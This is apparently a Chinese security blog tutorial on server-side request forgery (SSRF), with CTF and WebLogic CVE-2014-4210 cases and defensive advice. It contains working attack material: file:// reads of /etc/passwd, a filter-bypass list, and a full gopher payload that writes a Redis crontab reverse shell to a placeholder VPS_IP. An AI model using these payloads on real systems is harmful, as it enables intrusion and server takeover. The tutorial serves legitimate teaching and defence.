SSRF漏洞实战详解:从原理到真实攻击案例,一文掌握服务器端请求伪造(SSRF)核心技术

在当今的网络安全攻防对抗中,SSRF漏洞(Server-Side Request Forgery,服务器端请求伪造) 已成为渗透测试和红队行动中的“黄金钥匙”。它不仅能够突破网络边界限制,访问内网敏感服务,还能结合Redis、FastCGI等组件实现远程代码执行(RCE),最终拿下服务器权限。

SSRF漏洞实战详解:从原理到真实攻击案例,一文掌握服务器端请求伪造(SSRF)核心技术

本文将作为一篇全网最详实的SSRF实战指南,带你从零理解SSRF的成因、利用方式,并通过多个真实场景案例深入剖析其攻击流程与防御策略。无论你是刚入门的安全爱好者,还是希望提升实战能力的初级安全工程师,这篇文章都值得你收藏并反复研读。


什么是SSRF?—— 漏洞原理深度解析

1.1 SSRF定义

SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种由攻击者构造恶意请求,诱导服务端程序向内网或本地系统发起任意HTTP或其他协议请求的安全漏洞。

由于服务器通常具备访问内部网络资源的权限,而外部用户无法直接访问这些资源,因此SSRF成为了打通外网与内网隔离屏障的关键突破口

一句话总结: SSRF = 攻击者控制 → 服务端代发请求 → 扫描/攻击内网资源

1.2 漏洞成因

当Web应用提供了如下功能时,若未对目标地址进行严格校验,则极易产生SSRF漏洞:

  • 图片下载/抓取(如头像上传)

  • 网页内容抓取(如文章预览)

  • 在线翻译、RSS阅读器

  • URL分享、链接检测工具

常见存在风险的PHP函数包括:

file_get_contents()
fsockopen()
curl_exec()
readfile()
fopen()

例如一个简单的图片加载功能:

<?php
if (isset($_GET['url'])) {
    $content = file_get_contents($_GET['url']);
    file_put_contents('cache.jpg', $content);
    echo "<img src='cache.jpg'/>";
}
?>

如果$_GET['url']参数未做任何过滤,攻击者即可传入http://127.0.0.1:8080/admin来探测本地后台服务,甚至使用file:///etc/passwd读取系统文件!


SSRF能做什么?—— 核心攻击能力盘点

能力类型具体用途
🔍 内网扫描探测开放端口、获取Banner信息
📁 文件读取利用file://协议读取配置文件、数据库凭证
💣 协议攻击使用gopher://dict://攻击Redis、MySQL等服务
🧱 指纹识别访问默认路径判断CMS类型(如Tomcat、phpMyAdmin)
⚔️ 命令执行结合Redis写SSH密钥、定时任务反弹Shell
🔄 绕过WAFDNS Rebinding、302跳转、IP进制转换绕过黑名单

SSRF实战攻击案例解析

案例一:利用SSRF探测内网端口 & 读取本地文件

假设某网站提供“远程图片加载”功能:

http://example.com/load.php?url=http://www.baidu.com/img.jpg

步骤1:探测内网存活主机

尝试访问常见内网IP:

http://example.com/load.php?url=http://192.168.1.1/

观察响应时间、错误码或返回内容判断是否存活。

步骤2:端口扫描

通过响应差异判断端口状态:

  • 成功连接但无服务:可能返回空或超时

  • 连接失败:报错“Connection refused”

  • 存在服务:返回特定Banner(如SSH、Redis)

示例探测Redis:

http://example.com/load.php?url=http://127.0.0.1:6379

若返回类似 $6\r\nPONG\r\n 表明Redis服务开启。

步骤3:读取敏感文件

使用file://协议读取关键文件:

http://example.com/load.php?url=file:///etc/passwd

成功后会将文件内容保存为图片输出,右键另存为文本即可查看。


案例二:[网鼎杯 2020] SSRFMe —— 复杂过滤下的SSRF绕过

题目源码片段:

function check_inner_ip($url) {
    $ip = gethostbyname($hostname);
    return ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || 
           ip2long('10.0.0.0') >> 24 == $int_ip >> 24;
}

if (!check_inner_ip($url)) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_exec($ch);
}

攻击思路:

  1. check_inner_ip() 函数通过DNS解析后的IP判断是否为内网地址。

  2. 可使用 DNS Rebinding(DNS重绑定) 技术绕过:

  3. 或使用 0.0.0.0localhost@127.0.0.1 等方式绕过解析限制。

  4. 最终payload:

http://example.com/?url=http://your-rebind-domain.com/hint.php

成功访问提示:Redis password is root

  1. 构造Gopher协议Payload攻击Redis,实现GetShell。


案例三:WebLogic SSRF漏洞(CVE-2014-4210)实战

影响版本:WebLogic Server 10.0.2.0, 10.3.6.0

漏洞点:

/uddiexplorer/SearchPublicRegistries.jsp?operator=[目标IP]&rdoSearch=name&txtSearchname=sdf&txtSearchKey=asdf&txtSearchFor=All

攻击流程:

  1. 使用该接口探测内网Redis端口:

    operator=http://127.0.0.1:6379
  2. 若返回+PONG,说明Redis开放且无密码。

  3. 利用Gopher协议构造命令写入SSH公钥或Crontab反弹Shell。

🛠️ Gopher Payload 示例(Redis写计划任务):

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a*/1+*+*+*+*+root+bash+-i+>%26+/dev/tcp/VPS_IP/PORT+0>%261%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0aroot%0d%0a*1%0d%0a$5%0d%0asave%0d%0axxx

SSRF绕过技巧大全(Bypass WAF/Filter)

绕过方法示例
🌐 DNS Rebindingattacker.com → 解析为 8.8.8.8 和 127.0.0.1
🔁 302跳转请求A,A重定向至http://127.0.0.1:8080
🔤 @符号绕过http://evil.com@127.0.0.1
🧮 IP进制转换127.0.0.1 → 2130706433(十进制)或 0x7f000001(十六进制)
📎 短网址服务使用t.cnis.gd等缩短恶意URL
🌀 协议变种http://0/http://127.0.0.1.xip.io

💡 小贴士:.xip.io.nip.io 等域名支持自动DNS映射,非常适合测试环境。


如何有效防御SSRF?

5.1 开发层面防御建议

白名单校验协议
仅允许 http://https://,禁用 file://, gopher://, dict:// 等高危协议。

if (!preg_match('/^https?:\/\//i', $url)) {
    die('Invalid protocol');
}

禁止访问内网IP段
使用filter_var() + 黑名单IP段检查:

$private_ips = [
    '127.0.0.0/8', '10.0.0.0/8',
    '172.16.0.0/12', '192.168.0.0/16'
];

统一错误信息
避免泄露端口状态(如“Connection refused”),统一返回“Request failed”。

限制请求端口
只允许常见Web端口:80, 443, 8080, 8443。

使用代理模式
不直接请求用户输入URL,而是通过中间代理服务处理。


5.2 安全产品防护

  • Web应用防火墙(WAF)配置规则拦截file://gopher://等协议

  • 网络层ACL限制服务器出站流量,仅允许可信IP通信

  • 日志监控异常请求行为(高频内网探测、非常规协议调用)


SSRF是通向内网的大门

SSRF不仅是OWASP Top 10中的常客,更是CTF竞赛和真实渗透项目中的高频考点。掌握其攻击链路设计、协议利用技巧和绕过手法,是你成为一名合格渗透测试工程师的必经之路。

🔐 安全提醒:本文所有技术仅供学习交流,请勿用于非法用途。遵守法律法规,做一名有责任的白帽黑客。


📌 关注我,获取更多网络安全干货

发表评论

评论列表

还没有评论,快来说点什么吧~